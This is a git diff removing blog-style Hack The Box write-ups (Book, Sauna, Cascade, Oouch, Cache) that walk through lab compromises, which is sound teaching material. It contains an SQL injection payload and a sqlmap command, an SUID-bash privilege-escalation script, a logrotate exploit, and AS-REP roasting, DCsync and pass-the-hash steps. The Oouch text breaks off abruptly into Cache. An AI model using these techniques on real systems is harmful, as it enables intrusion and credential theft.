-Step 4. And create the ext4 filesystem on it -``` -# mkfs.ext4 /dev/mapper/myluksvol1 -mke2fs 1.45.6 (20-Mar-2020) -Creating filesystem with 49152 1k blocks and 12288 inodes -Filesystem UUID: d4482c0c-1970-4956-9ffa-8b8105f19cdd -Superblock backups stored on blocks: - 8193, 24577, 40961 - -Allocating group tables: done -Writing inode tables: done -Creating journal (4096 blocks): done -Writing superblocks and filesystem accounting information: done -``` - -Step 5. Then we mount it, then copy bash to it and set the SUID bit -``` -# mount /dev/mapper/myluksvol1 /mnt -# cp bash /mnt -# chmod u+s /mnt/bash -# ls -l /mnt -total 1100 --rwsr-xr-x 1 root root 1113504 Apr 5 08:39 bash -drwx------ 2 root root 12288 Apr 5 08:38 lost+found -# umount /mnt -``` - -Step 6. We then copy the container image to the box -``` -root@kali:~/htb/forwardslash# scp luksvolume1 pain@10.10.10.183:/tmp -pain@10.10.10.183's password: -luksvolume1 -``` - -Step 7. And finally mount the image and execute bash as root - -![](/assets/images/htb-writeup-forwardslash/root.png) \ No newline at end of file diff --git a/_posts/2020-07-11-htb-writeup-book.md b/_posts/2020-07-11-htb-writeup-book.md deleted file mode 100644 index 6cc27265df..0000000000 --- a/_posts/2020-07-11-htb-writeup-book.md +++ /dev/null @@ -1,215 +0,0 @@ ---- -layout: single -title: Book - Hack The Box -excerpt: "I initially thought for Book that the goal was to get the administrator's session cookie via an XSS but instead we have to create a duplicate admin account by using a long email address that gets truncated to the existing one. Once we have access to the admin page we then exploit an XSS vulnerability in the PDF generator to read SSH keys for the low priv user. We priv esc using a race condition vulnerability in logrotate so we can backdoor /etc/bash_completion.d." -date: 2020-07-11 -classes: wide -header: - teaser: /assets/images/htb-writeup-book/book_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - xss - - pdf - - ssh keys - - logrotate - - cronjob - - bash_completion.d ---- - -![](/assets/images/htb-writeup-book/book_logo.png) - -I initially thought for Book that the goal was to get the administrator's session cookie via an XSS but instead we have to create a duplicate admin account by using a long email address that gets truncated to the existing one. Once we have access to the admin page we then exploit an XSS vulnerability in the PDF generator to read SSH keys for the low priv user. We priv esc using a race condition vulnerability in logrotate so we can backdoor /etc/bash_completion.d. - -## Summary - -- Create an admin account with an arbitrary password by exploiting a flaw in the web application code -- Read `/home/reader/.ssh/id_rsa` files by using an XSS in the PDF creator -- Exploit logrotate vulnerability to gain root access - -## Portscan - -![](/assets/images/htb-writeup-book/nmap.png) - -## Website recon - -We have a login page on the website with a link to sign up and create a new account. The forgot password link is not functional (it points to /index.php#). - -![](/assets/images/htb-writeup-book/signin.png) - -![](/assets/images/htb-writeup-book/signup.png) - -After running gobuster we see that we have an `/admin` directory. We can't access it yet because we're not authorized (after creating a regular user account with still can't access it because we're not admin). - -![](/assets/images/htb-writeup-book/gobuster.png) - -![](/assets/images/htb-writeup-book/admin.png) - -We'll create ourselves an account with `Name: Snow` and `Email: snow@test.com` then we're able to log to the site. The site is a web application with collections of books where people can submit books and leave feedback. - -![](/assets/images/htb-writeup-book/book1.png) - -The book listing contains the book title, author and download links. - -![](/assets/images/htb-writeup-book/book2.png) - -There's a Search page where you can look up books by title or author. - -![](/assets/images/htb-writeup-book/book3.png) - -The Feedback section could be interesting since the message says the feedback sent will reviewed by an administrator. If there's an XSS vulnerability in the application then we could steal the session cookie from the admin. - -![](/assets/images/htb-writeup-book/book4.png) - -![](/assets/images/htb-writeup-book/feedback.png) - -Under the Collections page we have the option to upload a book. The book isn't updated right away on the site though since an administrator must review the submission first. - -![](/assets/images/htb-writeup-book/book5.png) - -![](/assets/images/htb-writeup-book/upload.png) - -Lastly we have an option to contact the administrator. That's one other potential XSS vector we could try to exploit. - -![](/assets/images/htb-writeup-book/book6.png) - -I couldn't find any exploitable vulnerabilities on the feedback/contact forms, neither could I find a SQL injection or an insecure upload vulnerability. So let's go back to the authentication page and try to find a way to log in as administrator. - -## Access to the admin page - -The javascript validation on the sign up page contains the max length for both name and email fields. - -```js - -``` - -We can exceed the name or email field length and the extra characters get truncated. For example, if we create a user name longer than 10 character we can log in with the email address and when we check the profile page we see the name has been truncated to 10 characters. - -POST request: `name=1234567890abcdef&email=a@a.com&password=1234` - -![](/assets/images/htb-writeup-book/user1.png) - -The same thing happens with the email field. - -POST request: `name=b&email=b@12345678901234567890ab.com&password=123` - -![](/assets/images/htb-writeup-book/user2.png) - -We can reset the administrator's password by creating a new user with `admin` as the username and an email address of `admin@book.htb`. Of course, we can't just create the account like that because the user already exists. So the trick here is to send an email address padded with spaces at the end and add an extra character at the end so it'll get truncated. We need the extra character at the end because the application first strips whitespace at the end of string. - -POST request: `name=admin&email=admin@book.htb++++++a&password=1234` - -After I rooted the box I looked at the MySQL database and it doesn't actually reset the admin's password but it creates a new user with the same name and email address: - -``` -mysql> select * from users; -+------------+----------------------+-------------------+ -| name | email | password | -+------------+----------------------+-------------------+ -| admin | admin@book.htb | Sup3r_S3cur3_P455 | -| test | a@b.com | test | -| shaunwhort | test@test.com | casablancas1 | -| peter | hi@hello.com | password | -| admin | admin@book.htb | 1234 | -+------------+----------------------+-------------------+ -``` - -We can now log in with `admin@book.htb / 1234`. - -![](/assets/images/htb-writeup-book/admin1.png) - -Under the Users we can see a bunch of users already created, plus our new user. - -![](/assets/images/htb-writeup-book/admin2.png) - -The javascript payloads I sent earlier during some of my test are escaped properly and doesn't pop the alert window. - -![](/assets/images/htb-writeup-book/admin3.png) - -![](/assets/images/htb-writeup-book/admin4.png) - -With the Collections menu we can generate a PDF file with the list of books or users. - -![](/assets/images/htb-writeup-book/admin5.png) - -![](/assets/images/htb-writeup-book/admin6.png) - -There's an XSS however in the PDF generator: when we submit a new book, the title and author fields are not escaped correctly and the PDF generator will execute our payload. We can turn the XSS into an arbitrary file read by using the `file://` URI handler. First, we'll get the `/etc/passwd` file to get a list of users on the box: - -![](/assets/images/htb-writeup-book/payload1.png) - -![](/assets/images/htb-writeup-book/fileread1.png) - -Now that we have the username of a user with a login shell we can try to look for his SSH private key: - -![](/assets/images/htb-writeup-book/payload2.png) - -We have access to his SSH private key but I'm missing some of the output on the right because of the default font used. - -![](/assets/images/htb-writeup-book/fileread2.png) - -One way to fix this is to add a `
    ` HTML tag to our payload: ``
    -
    -Now that looks much better:
    -
    -![](/assets/images/htb-writeup-book/fileread3.png)
    -
    -With the SSH key we can log in with user **reader**.
    -
    -![](/assets/images/htb-writeup-book/shell1.png)
    -
    -## Privesc
    -
    -We'll use **pspy** to check processes that are running on the box and we see that **logrotate** runs every 5 seconds which is highly unusual.
    -
    -![](/assets/images/htb-writeup-book/logrotate.png)
    -
    -The `backups` directory has an `access.log` file that get rotated every few seconds whenever we write to it.
    -
    -![](/assets/images/htb-writeup-book/logrotate2.png)
    -
    -The version of logrotate running on the box is vulnerable to a race condition that will allow us to write a file to any directory since logrotate is running as root.
    -
    -![](/assets/images/htb-writeup-book/logrotate3.png)
    -
    -Exploit: [https://github.com/whotwagner/logrotten](https://github.com/whotwagner/logrotten)
    -
    -For the payload, we can use anything really so I'll make bash SUID instead of popping a reverse shell.
    -
    -```sh
    -#!/bin/sh
    -chmod u+s /bin/bash
    -```
    -
    -The exploit is triggered after we write to the log file. There's a cron job running as root on the machine to clean up some files so the payload will get executed by the root user.
    -
    -Cronjob contents from `/var/spool/cron/crontabs/root`:
    -```
    -@reboot /root/reset.sh
    -* * * * * /root/cron_root
    -*/5 * * * * rm /etc/bash_completion.d/*.log*
    -*/2 * * * * /root/clean.sh
    -```
    -
    -After a minute or two, the root user logs it and the `access.log` script in `/etc/bash_completion.d` is executed and the SUID bit is set on `/bin/bash`:
    -
    -![](/assets/images/htb-writeup-book/root.png)
    diff --git a/_posts/2020-07-18-htb-writeup-sauna.md b/_posts/2020-07-18-htb-writeup-sauna.md
    deleted file mode 100644
    index 0927a85455..0000000000
    --- a/_posts/2020-07-18-htb-writeup-sauna.md
    +++ /dev/null
    @@ -1,108 +0,0 @@
    ----
    -layout: single
    -title: Sauna - Hack The Box
    -excerpt: "Sauna is a good beginner-friendly AD box that covers a few key Windows exploitation topics like AS-REP roasting, enumeration for credentials, using tools such as Powerview to find attack paths, DCsync and Pass-The-Hash techniques."
    -date: 2020-07-18
    -classes: wide
    -header:
    -  teaser: /assets/images/htb-writeup-sauna/sauna_logo.png
    -  teaser_home_page: true
    -  icon: /assets/images/hackthebox.webp
    -categories:
    -  - hackthebox
    -  - infosec
    -tags:
    -  - ad
    -  - asrep
    -  - kerbrute
    -  - crackmapexec
    -  - powerview
    -  - dcsync
    -  - secretsdump
    ----
    -
    -![](/assets/images/htb-writeup-sauna/sauna_logo.png)
    -
    -Sauna is a good beginner-friendly AD box that covers a few key Windows exploitation topics like AS-REP roasting, enumeration for credentials, using tools such as Powerview to find attack paths, DCsync and Pass-The-Hash techniques.
    -
    -## Summary
    -
    -- Find a list of valid users with kerbrute
    -- Pre-auth is disabled on the fsmith account so we can get his password hash and crack it offline
    -- svc_loanmgr's credentials are in the WinLogon registry key
    -- Using PowerView's ACL scanner, we find that svc_loanmgr can DCsync
    -- Using the administrator hash we can log in with psexec
    -
    -## Portscan
    -
    -![](/assets/images/htb-writeup-sauna/nmap_scan.png)
    -
    -## Users enumeration
    -
    -Crackmapexec is a good tool to do a quick initial recon and find what the domain name is, the operating system and if there are any non-default SMB shares accessible. Aside from the OS version and the domain name, I can't get any other information yet from CME.
    -
    -![](/assets/images/htb-writeup-sauna/cme_recon.png)
    -
    -Some Active Directory machines on Hack the Box are configured so an anonymous bind session can enumerate users and groups from the box. I tried searching with windapsearch.py but I didn't get any results back so anonymous bind sessions can't dump the user list here.
    -
    -![](/assets/images/htb-writeup-sauna/windapsearch_fail.png)
    -
    -A good way to look for valid users on a domain controller is to use a tool like [kerbrute](https://github.com/ropnop/kerbrute) with a wordlist containing popular usernames. This kerbrute github page explains how the user enumeration works:
    -
    -> To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts.
    -
    -I used a pretty big username wordlist for this one but kerbrute is very fast and since you don't do a full authentication with the DC you can enumerate the users in a decent amount of time.
    -
    -![](/assets/images/htb-writeup-sauna/kerbrute.png)
    -
    -So we got the default **administrator** user on this machine as well as **fsmith** and **hsmith**.
    -
    -**What I could have done better:** In hindsight I really messed up my enumeration of the users on the box. Instead of running a massive user wordlist I should have built a small list of possible user names based on names found on the website.
    -
    -![](/assets/images/htb-writeup-sauna/fail.png)
    -
    -## Getting credentials for fsmith
    -
    -One common way to get password hashes we can crack offline in an Active Directory domain is using the Kerberoasting technique. This requires the users to have an SPN associated with their account. On this box, the two users don't have any SPNs configured but we can still get password hashes to crack offline using the AS-REP roasting. In a nutshell, if an account has Kerberoast Pre-Authentication disabled we can get the hash (just like kerberoasting).
    -
    -For more details, check out Harmj0y's blog post about this topc: [https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
    -
    -We can use Impacket to execute this attack and we can see that we're able to get the password hash for user **fsmith**.
    -
    -![](/assets/images/htb-writeup-sauna/asrep.png)
    -
    -Hashcat and John both support this hash format. Here I used hashcat with the following command line options: `hashcat --force -a 0 -m 18200 -w 3 -O hash.txt /usr/share/wordlists/rockyou.txt`
    -
    -![](/assets/images/htb-writeup-sauna/hashcat.png)
    -
    -Now that we have the password, we can try to log in with WinRM.
    -
    -![](/assets/images/htb-writeup-sauna/fsmith.png)
    -
    -## WinLogon credentials
    -
    -To look for priv esc vectors I used the [https://github.com/itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck) Powershell script. With Evil-WinRM you can pass the directory containing the script with the -s flag then load the script in memory by calling the PS1 file, no need to drop anything on disk.
    -
    -![](/assets/images/htb-writeup-sauna/privesc1.png)
    -
    -The privesc script found credentials for the **svc_loanmanager** user in the WinLogon registry key.
    -
    -![](/assets/images/htb-writeup-sauna/privesc2.png)
    -
    -## Administrator access
    -
    -After logging in with the **svc_loanmanager** user we can disable AMSI and then load Powerview to do further recon with our new user.
    -
    -![](/assets/images/htb-writeup-sauna/powerview1.png)
    -
    -Here, I've used the **Invoke-AclScanner** function which checks for interesting rights on objects in the domain. As we can see in the output, the **svc_loanmgr** user has **ExtendedRight** rights on the domain object, which basically allows that user to perform a DCsync on the domain and get a list of all the NTLM hashes. Another way to see the attack path would be to use the Sharphound ingestor then load the data in Bloodhound.
    -
    -![](/assets/images/htb-writeup-sauna/powerview2.png)
    -
    -A good easy way to DCsync is to use the secretsdump tool from the Impacket suite.
    -
    -![](/assets/images/htb-writeup-sauna/secretsdump.png)
    -
    -Now that we have the administrator hash, we can Pass-The-Hash with psexec and get a SYSTEM shell.
    -
    -![](/assets/images/htb-writeup-sauna/root.png)
    diff --git a/_posts/2020-07-25-htb-writeup-cascade.md b/_posts/2020-07-25-htb-writeup-cascade.md
    deleted file mode 100644
    index a66c7d6957..0000000000
    --- a/_posts/2020-07-25-htb-writeup-cascade.md
    +++ /dev/null
    @@ -1,138 +0,0 @@
    ----
    -layout: single
    -title: Cascade - Hack The Box
    -excerpt: "Cascade was a simple and straightforward enumeration-focused Windows box. We find the credentials for the initial account in a custom LDAP attibute then enumerate SMB shares, finding VNC credentials which can be decrypted. With those creds we find an SQlite database that contains encrypted credentials for yet another user. To decrypt the password we have to reverse a simple .NET application located on one of the shares. The final privesc involves getting the admin password from tombstone, a feature in AD that keeps deleted objects for a period of time."
    -date: 2020-07-25
    -classes: wide
    -header:
    -  teaser: /assets/images/htb-writeup-cascade/cascade_logo.png
    -  teaser_home_page: true
    -  icon: /assets/images/hackthebox.webp
    -categories:
    -  - hackthebox
    -  - infosec
    -tags:
    -  - ldap
    -  - smb  
    -  - vnc
    -  - reversing
    -  - crypto
    -  - tombstone
    ----
    -
    -![](/assets/images/htb-writeup-cascade/cascade_logo.png)
    -
    -Cascade was a simple and straightforward enumeration-focused Windows box. We find the credentials for the initial account in a custom LDAP attibute then enumerate SMB shares, finding VNC credentials which can be decrypted. With those creds we find an SQlite database that contains encrypted credentials for yet another user. To decrypt the password we have to reverse a simple .NET application located on one of the shares. The final privesc involves getting the admin password from tombstone, a feature in AD that keeps deleted objects for a period of time.
    -
    -## Summary
    -
    -- Get a list of users from the LDAP directory
    -- Find the password for user r.thompson in the cascadeLegacyPwd LDAP attribute
    -- Enumerate Data SMB share, find VNC encrypted password for user s.smith
    -- Decrypt VNC password, log in and find an SQlite database with the encrypted password for ArkSvc user
    -- Download the .NET crypto application, reverse it, find cipher, key and IV then decrypt the ArkAvc password
    -- Log in as ArkSvc, recover old deleted TempAdmin account password then log in as Administrator
    -
    -## Portscan
    -
    -![](/assets/images/htb-writeup-cascade/nmap.png)
    -
    -## SMB recon
    -
    -We can use crackmapexec to check out the domain name on the machine and check if there are any SMB shares accessible. There doesn't seem to to be anything accessible on SMB at the moment with our guest user or a null session.
    -
    -![](/assets/images/htb-writeup-cascade/crackmapexec.png)
    -
    -## User enumeration
    -
    -Anonymous LDAP bind sessions are allowed on this domain controller so any unauthenticated user can retrieve the user and group list from the DC. The first thing I did was list only the **sAMAccountName** attributes to see if there any accounts name that contain **adm**, **svc** or any other string that might indicate a potentially high privilege account.
    -
    -![](/assets/images/htb-writeup-cascade/windapsearch1.png)
    -
    -There's a **arksvc** and **BackupSvc** account in there. Service accounts are a juicy target because they often hold elevated privileges in the domain. In real life, some products don't provide proper documentation about the minimum rights required by their service accounts so domain admins will sometimes put service accounts in the "Domain Admins" group. Combined with a weak password policy this can provide a quick way to DA.
    -
    -Next we'll look at the full attributes list of the users to see if there's any custom attribute added or credentials that might have been added in a description field or something like that. Here we see that the **r.thompson** user has a custom attribute **cascadeLegacyPwd** with a base64 encoded string.
    -
    -![](/assets/images/htb-writeup-cascade/legacypwd.png)
    -
    -The base64 value appears to contain the plaintext password value.
    -
    -![](/assets/images/htb-writeup-cascade/legacypwd2.png)
    -
    -We can validate the credentials by using crackmapexec and we see that the credentials are valid.
    -
    -![](/assets/images/htb-writeup-cascade/ryan.png)
    -
    -## SMB share enumeration and s.smith user escalation
    -
    -User **r.thompson** can't log in with WinRM but has read-only access to a **Data** share. We can mount the CIFS filesystem so it'll be easier to look around, grep files, etc.
    -
    -![](/assets/images/htb-writeup-cascade/smbenum1.png)
    -
    -We'll look for credentials by searching for files that contain **password**. Because this is a Windows machine, some of the files may be using UTF-16 encoding so if we just use the standard Linux grep program there's a good chance we might miss some stuff. Instead I'll use Powershell for Linux and it'll automatically scan for both UTF-8 and UTF-16 encoded strings when using the **Select-String** function.
    -
    -![](/assets/images/htb-writeup-cascade/smbenum2.png)
    -
    -We found two things here: The first is an email with the minutes from a meeting in 2018 with a **TempAdmin** account. The email says the password is the same as the normal admin account but we don't have it. The second hit is an encrypted VNC password for user **s.smith**.
    -
    -VNC password are encrypted with a modified DES cipher and a static key. One tool we can use is [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd). We just need to take the hex values and write them in binary format to a file that can be read by the decrypt tool.
    -
    -![](/assets/images/htb-writeup-cascade/vncpasswd.png)
    -
    -We'll use Crackmapexec again to check the credentials for user **s.smith**. We can see here that we have access to an **Audit$** share we couldn't previously access.
    -
    -![](/assets/images/htb-writeup-cascade/smith.png)
    -
    -That user is a member of the **Remote Management Users** group so we can log in remotely with WinRM.
    -
    -![](/assets/images/htb-writeup-cascade/smith2.png)
    -
    -## Finding the password for ArkSvc inside SQlite database
    -
    -Inside the **Audit$** share we find an Audit database and a **CascAudit.exe** file.
    -
    -![](/assets/images/htb-writeup-cascade/audit.png)
    -
    -The executable is a .NET assembly (which means we can probably easily reverse it with DNSpy) and the DB file is an SQLite database.
    -
    -![](/assets/images/htb-writeup-cascade/audit2.png)
    -
    -To read the database file, we'll use the sqlite3 client then issue the `.tables` command to view the list of tables. The **Ldap** table contains a base64 value for what we can safely assume to be the **ArkSvc** account password.
    -
    -![](/assets/images/htb-writeup-cascade/audit3.png)
    -
    -Unfortunately the password appears to be encryped since we only get binary data after base64 decoding it.
    -
    -![](/assets/images/htb-writeup-cascade/audit4.png)
    -
    -With DNSpy it's easy to reverse the application **CascAudit.exe** that we found on the share. We can see here that it's using AES in CBS mode with an hardcoded Key and IV.
    -
    -![](/assets/images/htb-writeup-cascade/casc1.png)
    -
    -![](/assets/images/htb-writeup-cascade/casc2.png)
    -
    -To decrypt the password from the SQlite database I'll use Cyberchef.
    -
    -![](/assets/images/htb-writeup-cascade/cyberchef.png)
    -
    -Finally, we'll use Crackmapexec again to verify that the credentials are valid:
    -
    -![](/assets/images/htb-writeup-cascade/ark.png)
    -
    -## Privesc
    -
    -Arksvc can log in with WinRM and can see he's a member of the **AD Recycle Bin** group.
    -
    -![](/assets/images/htb-writeup-cascade/privesc1.png)
    -
    -This is pretty interesting because Active Directory keeps a copy of old deleted objects. Our user has access to view deleted objects. As mentionned in the meeting notes we found earlier on the **Data** share, there was at some point a **TempAdmin** user created for migration purposes. We can look for that old account with RSAT and by adding the `-IncludeDeletedObjects` flag to the command.
    -
    -![](/assets/images/htb-writeup-cascade/privesc2.png)
    -
    -Next, we'll look at the attributes of the deleted account and we see that it also has a **cascadeLegacyPwd** attribute like the first account we found on the machine.
    -
    -![](/assets/images/htb-writeup-cascade/privesc3.png)
    -
    -We'll decode the password and remembering the meeting notes, it says the TempAdmin password was the same as the regular admin password so we can just use Evil-WinRM to log in as Administrator and get the root flag.
    -
    -![](/assets/images/htb-writeup-cascade/root.png)
    \ No newline at end of file
    diff --git a/_posts/2020-08-01-htb-writeup-oouch.md b/_posts/2020-08-01-htb-writeup-oouch.md
    deleted file mode 100644
    index 30859a390e..0000000000
    --- a/_posts/2020-08-01-htb-writeup-oouch.md
    +++ /dev/null
    @@ -1,454 +0,0 @@
    ----
    -layout: single
    -title: Oouch - Hack The Box
    -excerpt: "Ooauth was a pretty tough box because I was unfamiliar with Oauth and it took a while to figure out the bits and pieces to chain together. The priv esc was pretty cool, we had to talk to the uwsgi socket directly to manipulate the `REMOTE_ADDR` variable and exploit a command injection vulnerability in the script calling iptables."
    -date: 2020-08-01
    -classes: wide
    -header:
    -  teaser: /assets/images/htb-writeup-oouch/oouch_logo.png
    -  teaser_home_page: true
    -  icon: /assets/images/hackthebox.webp
    -categories:
    -  - hackthebox
    -  - infosec
    -tags:
    -  - linux
    -  - ftp
    -  - python
    -  - flask  
    -  - xss
    -  - oauth
    -  - api
    -  - dbus
    -  - uwsgi
    ----
    -
    -![](/assets/images/htb-writeup-oouch/oouch_logo.png)
    -
    -Ooauth was a pretty tough box because I was unfamiliar with Oauth and it took a while to figure out the bits and pieces to chain together. The priv esc was pretty cool, we had to talk to the uwsgi socket directly to manipulate the `REMOTE_ADDR` variable and exploit a command injection vulnerability in the script calling iptables.
    -
    -## Portscan
    -
    -```
    -root@kali:~/htb/ouch# nmap -p- 10.10.10.177
    -Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-02 15:58 EST
    -Nmap scan report for oouch.htb (10.10.10.177)
    -Host is up (0.019s latency).
    -Not shown: 65531 closed ports
    -PORT     STATE SERVICE
    -21/tcp   open  ftp
    -22/tcp   open  ssh
    -5000/tcp open  upnp
    -8000/tcp open  http-alt
    -```
    -
    -## FTP server
    -
    -The FTP server allows anonymous access and contains a single file.
    -
    -```
    -root@kali:~/htb/ouch# ftp 10.10.10.177
    -Connected to 10.10.10.177.
    -220 qtc's development server
    -Name (10.10.10.177:root): anonymous
    -230 Login successful.
    -Remote system type is UNIX.
    -Using binary mode to transfer files.
    -ftp> ls
    -200 PORT command successful. Consider using PASV.
    -150 Here comes the directory listing.
    --rw-r--r--    1 ftp      ftp            49 Feb 11 18:34 project.txt
    -226 Directory send OK.
    -```
    -
    -The file contains some information about what kind of web technology runs the two web services we saw earlier on port 5000 and 8000.
    -
    -```
    -root@kali:~/htb/ouch# cat project.txt 
    -Flask -> Consumer
    -Django -> Authorization Server
    -```
    -
    -## Web site enumeration
    -
    -The site on port 5000 requires an account to log in but fortunately we can register a new account.
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_1.png)
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_2.png)
    -
    -After logging in, we have access to a couple of different pages.
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_3.png)
    -
    -The user profile section shows that no account has been connected but we're not sure what this is yet.
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_4.png)
    -
    -The documents area is still under construction and is only available to administrators.
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_5.png)
    -
    -There's also a contact section. Now that's pretty interesting because it could be a target for an XSS since the page says the messages are forwarded to the administrator.
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_6.png)
    -
    -![](/assets/images/htb-writeup-oouch/Screenshot_7.png)
    -
    -## XSS on the contact form
    -
    -There is some filtering done on the message input and we get blacklisted for about a minute whenever we try payloads that contain blacklisted words like: `alert`, `
    -```
    -
    -The client-side javascript code is responsible for authentication and we can see the user/pass in the code: `ash / H@v3_fun`
    -
    -```javascript
    -function checkCorrectPassword(){
    -        var Password = $("#password").val();
    -        if(Password != 'H@v3_fun'){
    -            alert("Password didn't Match");
    -            error_correctPassword = true;
    -        }
    -    }
    -    function checkCorrectUsername(){
    -        var Username = $("#username").val();
    -        if(Username != "ash"){
    -            alert("Username didn't Match");
    -            error_username = true;
    -        }
    -    }
    -```
    -
    -Once logged in we have the following page:
    -
    -![](/assets/images/htb-writeup-cache/website3.png)
    -
    -This seems like a dead end so let's move on. Next, on the author page we have a reference to HMS (Hospital Management System). This could be a vhost on the server because we haven't seen a link to this on the main page.
    -
    -![](/assets/images/htb-writeup-cache/website4.png)
    -
    -## Fuzzing vhosts
    -
    -I missed this part at first because they didn't use $VHOST.cache.htb but instead had used $VHOST.htb.
    -
    -```
    -snowscan@kali:~$ ffuf -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -fw 902 -H "Host: FUZZ.htb" -u http://cache.htb
    -
    -        /'___\  /'___\           /'___\       
    -       /\ \__/ /\ \__/  __  __  /\ \__/       
    -       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
    -        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
    -         \ \_\   \ \_\  \ \____/  \ \_\       
    -          \/_/    \/_/   \/___/    \/_/       
    -
    -       v1.1.0-git
    -________________________________________________
    -
    - :: Method           : GET
    - :: URL              : http://cache.htb
    - :: Wordlist         : FUZZ: /home/snowscan/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
    - :: Header           : Host: FUZZ.htb
    - :: Follow redirects : false
    - :: Calibration      : false
    - :: Timeout          : 10
    - :: Threads          : 40
    - :: Matcher          : Response status: 200,204,301,302,307,401,403
    - :: Filter           : Response words: 902
    -________________________________________________
    -
    -hms                     [Status: 302, Size: 0, Words: 1, Lines: 1]
    -```
    -
    -## HMS website
    -
    -We found the HMS website **hms.htb** but we don't have the credentials to log in.
    -
    -![](/assets/images/htb-writeup-cache/hms1.png)
    -
    -Let's dirbust the site to see if we can find anything interesting.
    -
    -```
    -snowscan@kali:~$ gobuster dir -w tools/SecLists/Discovery/Web-Content/big.txt -u http://hms.htb
    -===============================================================
    -Gobuster v3.0.1
    -by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    -===============================================================
    -[+] Url:            http://hms.htb
    -[+] Threads:        10
    -[+] Wordlist:       tools/SecLists/Discovery/Web-Content/big.txt
    -[+] Status codes:   200,204,301,302,307,401,403
    -[+] User Agent:     gobuster/3.0.1
    -[+] Timeout:        10s
    -===============================================================
    -2020/05/09 19:17:40 Starting gobuster
    -===============================================================
    -/.htaccess (Status: 403)
    -/.htpasswd (Status: 403)
    -/LICENSE (Status: 200)
    -/ci (Status: 301)
    -/cloud (Status: 301)
    -/common (Status: 301)
    -/config (Status: 301)
    -/contrib (Status: 301)
    -/controllers (Status: 301)
    -/custom (Status: 301)
    -/entities (Status: 301)
    -/images (Status: 301)
    -/interface (Status: 301)
    -/javascript (Status: 301)
    -/library (Status: 301)
    -/modules (Status: 301)
    -/myportal (Status: 301)
    -/patients (Status: 301)
    -/portal (Status: 301)
    -/public (Status: 301)
    -/repositories (Status: 301)
    -/server-status (Status: 403)
    -/services (Status: 301)
    -/sites (Status: 301)
    -/sql (Status: 301)
    -/templates (Status: 301)
    -/tests (Status: 301)
    -/vendor (Status: 301)
    -===============================================================
    -2020/05/09 19:18:13 Finished
    -===============================================================
    -```
    -
    -The `/sql` directory contains a bunch of upgrade files, so based on the names we can guess we're currently running verison 5.0.1
    -
    -![](/assets/images/htb-writeup-cache/hms2.png)
    -
    -## Retrieving the username and password from the SQL database
    -
    -After doing some research we find a vulnerability report that contains many SQL injection vulnerabilities:
    -
    -[https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf](https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf)
    -
    -There's an information disclosure vulnerability where we can find the database name and version of the application.
    -
    -- Version: 5.0.1(3)
    -- DB name: openemr
    -
    -![](/assets/images/htb-writeup-cache/version.png)
    -
    -First, we'll bypass the authentication page by visiting the registration page then browsing to another page like `add_edit_event_user.php`.
    -
    -![](/assets/images/htb-writeup-cache/bypass1.png)
    -
    -I'll grab the cookie values so I can use them with sqlmap.
    -
    -![](/assets/images/htb-writeup-cache/bypass2.png)
    -
    -We can do the SQL injection manually like the following and extract information like the database server version.
    -
    -```
    -GET /portal/find_appt_popup_user.php?catid=1'+AND+(SELECT+0+FROM(SELECT+COUNT(*),CONCAT(%40%40VERSION,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)--+-
    -[...]
    -Duplicate entry '5.7.30-0ubuntu0.18.04.11' for key '<group_key>'
    -```
    -
    -But instead we'll use sqlmap to speed up the exploitation of this box. We can see here that sqlmap has identified the injection point for the vulnerability and it is error-based so it should be quick to dump the contents of the database.
    -
    -```
    -snowscan@kali:~/htb/cache$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=*" --cookie="OpenEMR=vp4f9asgbv507vpt84cioecmbg; PHPSESSID=cs1o3vot21n4odtira0s19iqu1" --technique E --dbms=mysql        ___
    -       __H__
    - ___ ___[']_____ ___ ___  {1.4.4#stable}
    -|_ -| . [.]     | .'| . |
    -|___|_  [(]_|_|_|__,|  _|
    -      |_|V...       |_|   http://sqlmap.org
    -
    -[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    -
    -[*] starting @ 09:32:35 /2020-05-10/
    -
    -custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
    -[09:32:37] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
    -[09:32:37] [INFO] testing connection to the target URL
    -[09:32:37] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
    -[09:32:37] [INFO] testing for SQL injection on URI parameter '#1*'
    -for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
    -[09:32:40] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    -[09:32:40] [WARNING] reflective value(s) found and filtering out
    -[09:32:43] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
